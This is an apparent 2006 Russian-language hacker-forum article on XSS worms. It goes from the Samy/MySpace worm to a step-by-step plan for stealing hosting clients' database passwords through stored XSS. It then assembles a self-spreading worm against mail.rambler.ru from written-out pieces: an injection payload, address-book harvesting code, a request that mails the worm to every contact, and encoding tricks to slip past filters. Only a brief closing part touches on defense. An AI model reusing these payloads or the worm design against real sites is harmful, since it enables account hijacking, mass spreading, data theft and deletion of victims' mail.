XSS worms

Discussion in 'Статьи' started by Xex, 2 Oct 2006.

  1. Xex

    Xex Banned

    Joined:
    10 Jul 2005
    Messages:
    108
    Likes Received:
    41
    Reputations:
    7
    [Историческая справка]
    "В Октябре 2005 года в Сети появился первый червь, использующий Cross-Site Scripting (XSS) уязвимость для распространения. За ночь червь Samy поразил более миллиона аккаунтов на популярном сайте Myspace.com, самой популярной социальной сети в мире. Для исправления уязвимости и устранения последствий сайт вынужден был прекратить свою работу. Автор червя, к счастью, не планировал нанесения особого вреда, единственным его желанием было прославится - но что может произойти получи менее положительный хакер контроль над миллионом броузеров легко представить..." - звучит красиво? и это правда, теперь XSS становится не только способом похулиганить в чатах или угнать кукисы админа, чтобы запостить новость о своем превосходстве над админом.

    [Наши жертвы]
    Жертвами такого рода атак могут стать не только форумы и чаты, а практически все динамические веб приложения. Например, хостинговая компания, казалось бы серьезно защищена от разного рода инъекций, работает под грамотно настроенным веб-сервером, имеет в рампоряжении прямые руки админа. Для клиентов установлена гостевуха/форум, пусть даже и самописные. Дальше по стандартной схеме:
    1)Ищем активную XSS, желательно не одну.
    2)Пишем несложный javascript код, использующий уязвимость, и заносим его, например, себе в профиль/подпись/пост и т.п. Наш червь при активизации, должен как и любая другая живность, саморазмножатся. Т.е. помещать свой код или ссылку на код в профиль/подпись/пост.
    3)Регистрируемся на сайте хостера - изучаем возможности клиентов, т.е. "Пройдите по ссылке DATABASE - и увидите имена и пароли ваших баз данных".
    4)Наделим наш червь "полезными функциями" - например, отсылка содержимого страницы "DATABASE".
    Вот и все, вся хваленая защита хостера сводится к нулю=)
    etc...Форум - червь делает нас админами; Интернет магазин - крадем данные о лицевых счетах; Провайдер - личные данные(телефон, имя, фимилия...)=)Вобщем, "заценили маштаб трагедии?". Потенциально такие черви, несут куда более огромную опасность, чем черви заточенные под определенную опасность.
    Вот 5 Фактов о червях:
    1)XSS черви могут обитать везде, где есть динамика - динамический контент, как говорится "Динамика — прародительница всех дыр".
    2)Учитывая, что разработчики к XSS уязвимостям относятся несерьезно, думая, что максимум на что способен хакер, это вывести глупый алерт, то огромное количество веб-приложений открыты для вторжения такого рода червей.
    3)Скрость распространения и количество пораженных компьютеров зависит только от посещаемости ресурса. Так к примеру черьвь SAMY за первые 24 часа заразил более миллиона аккаунтов - это почти в три раза больше чем у Code Red (359.000) или Blaster (336.000).
    4)Xss - червь может являтся разносчиком "заразы", заточенной под определенную ось - эксплуатирует свеженайденную уязвимость в бразерах.
    5)Не зависят от типа операционной системы - Javascript везде одинаков=)

    [Пути распространения]
    Черви могут использовать для своего распространения почти все элементы сайта. Начиная от тех на которые пользователь может прямо оказывать влияние - подпись, настройки профиля; заканчивая надоедливыми баннерами. Но в любом случае первоисточником заражения будут элементы на которые пользователь может воздействовать, а баннер мы можем использовать для погрузки основного кода червя. Многие говорят, что пассивные Xss совершенно бесполезны, как бы не так=) Вообще у XSS червей - есть один большой недостаток, они распространяются только с определенного ресурса, и соответсвенно закрыв дыру на сайте - червь моментально умрет, поэтому мы должны для продолжения жизни нашего животного использовать максимум найденных уязвимостей, в том числе и пассивные иксэсэски. Да, я согласен, что для проведения удачной атаки с использованием пассивной уязвимости нужно хорошо вдладеть методами Социальной Инженерии. Но совокупность активной XSS + пассивная XSS - сила. Разве вы не пройдете по ссылке указанной в ПМ, которое которое было послано вашим лучшим сетевым другом?=)как известно черви при заражении либо несут с собой основное тело, либо подружают его с удаленного узла. Если червь будет подружатся с удаленного узла, то его функциональность будет значительно расширена. Мы будем иметь возможность добавлять новые функции в нашего питомца, безболезненно удалять червя, так что от него останется только ссылка на несуществующий сайт xss.narod.ru=) Кроме того, одно дело если нам известен движок установленный на сайте, совсем другое - когда проект закрытый. Тогда в ход вступают черви-шпионы=)Их задача - тыкаться по ссылкам и любым доступным способом отсылать содержимое или часть текущей страницы.

    [Пример живого червя]
    Теперь рассмотрим пример живого червя под известный РуРесурс rambler.ru(точнее под mail.rambler.ru)
    В первую очередь, как вы уже поняли, нужно найти активную ХСС. Благо на мэйле рамблера их много, возьмем уже описанную на этом форуме:
    Code:
    <font color="black><font color="style=background-image:url(javascript:alert())>Привет</font>
    Далее определимся со способом распространения червя - в нашем случае эта рассылка по адресной книге(ибо ей мало кто пользуется=))

    Определим "необходимые нам переменные":

    &Адресная книга&
    Количество адресатов:
    Code:
    document.frames[0].document.forms[0].Book.length
    Адресат:
    Code:
    document.frames[0].document.forms[0].Book.options[0].text
    Открыть книгу:
    Code:
    Compose.wssp?OpenBook=1
    &Письма&
    Отослать в виде HTML:
    Code:
    Compose.wssp?FormCharset=windows-1251&[email protected]&Subject=Fwd: &Send=Отправить письмо&Body=hi ppl&SendHTML=1&SaveSent=1&desiredCharset=windows-1251&filled=1&operation=Forward&origMailbox=INBOX&origMessage=821
    Отослать из адресной книги:
    Code:
    Compose.wssp?FormCharset=windows-1251&addressBook=1&To=<[email protected]>, <test>&Subject=Fwd: &Send=Отправить письмо&Body=hi ppl&SendHTML=1&Send=Отправить письмо&desiredCharset=windows-1251&filled=1&operation=Forward&origMailbox=INBOX&origMessage=827
    Да, и самое главное, просмотрев сорс странички можно увидеть что там есть iframe, который мы собственно и будет экспуатировать. Во фрейм мы будем загружать адресную книгу:

    Code:
    <font color="red><font color="style=background-image:url(javascript:document.frames[0].location="Compose.wssp?OpenBook=1") >Привет</font>
    Затем, "выдерем" все адреса из книги и сфорумируем адресата вида:<[email protected]>,<[email protected]>,..

    Code:
    for(i=0;i<Book.length;i++){adrti=adrti+"<"+Book.options[i].text+">, ";}
    Ну и наконец отсылаем приветственое письмо адресатам прямо из книги:

    Code:
    sl=new Image();sl.src="Compose.wssp?FormCharset=windows-1251&addressBook=1&To="+adrti+"&Subject=textcss &Send=Отправить письмо&Body=hi ppl&SendHTML=1&Send=Отправить письмо&desiredCharset=windows-1251&filled=1&operation=Forward&origMailbox=INBOX&origMessage=827
    &Технические мелочи&
    "В этом мире не все так просто(с)" - поэтому, вкратце опишу технические мелочи реализации:
    1)пробелы в жавакоде необходимо заменить на /**/
    2)Для диалапщиков, типа меня, и просто людей с медленным интернетом, добавляем обработчики исключений и сетинтервалы.
    3)кодируем полчученное чудо в unicode.
    4)письмо необходимо отправлять в виде html(галочку установить)
    5)оттестированно на "старом" дизайне

    По известным причинам, готовый код выложен не будет=)

    Что касается рамблера, так мы можем все - отсылась письма, вытягивать все мылы(не только из адресной книги), и самое интересное - без какого либо подтверждения, мы можем удалить все письма=)

    [Безопасность и заключение]
    "Безопасность и заключение" - звучит двусмысленно:
    >в первую очередь, - это напоминание об УК РФ=)
    >а во вторую, - Защиту от такого рода червей, можно обеспечить только грамотно написанными сриптами. Безусловно, "Введите пароль для подтверждения изменения ваших настроек" - хороший шаг. Но все запаролить невозможно, хотя бы по той причине, что тогда пользователи убегут от вас через 10 минут и никогда не вернутся. О применении такого рода червей можно говорить очень долго. А что касается криков xss die(http://ilia.ws/index.php?url=archives/121-httpOnly-cookie-flag-support-in-PHP-5.2.html), то вот явный пример что хсс не умрут еще долго.

    P>S>Частично текст взят с инета(начало статьи), для большей красоты, думаю никто не против=)
     
    5 people like this.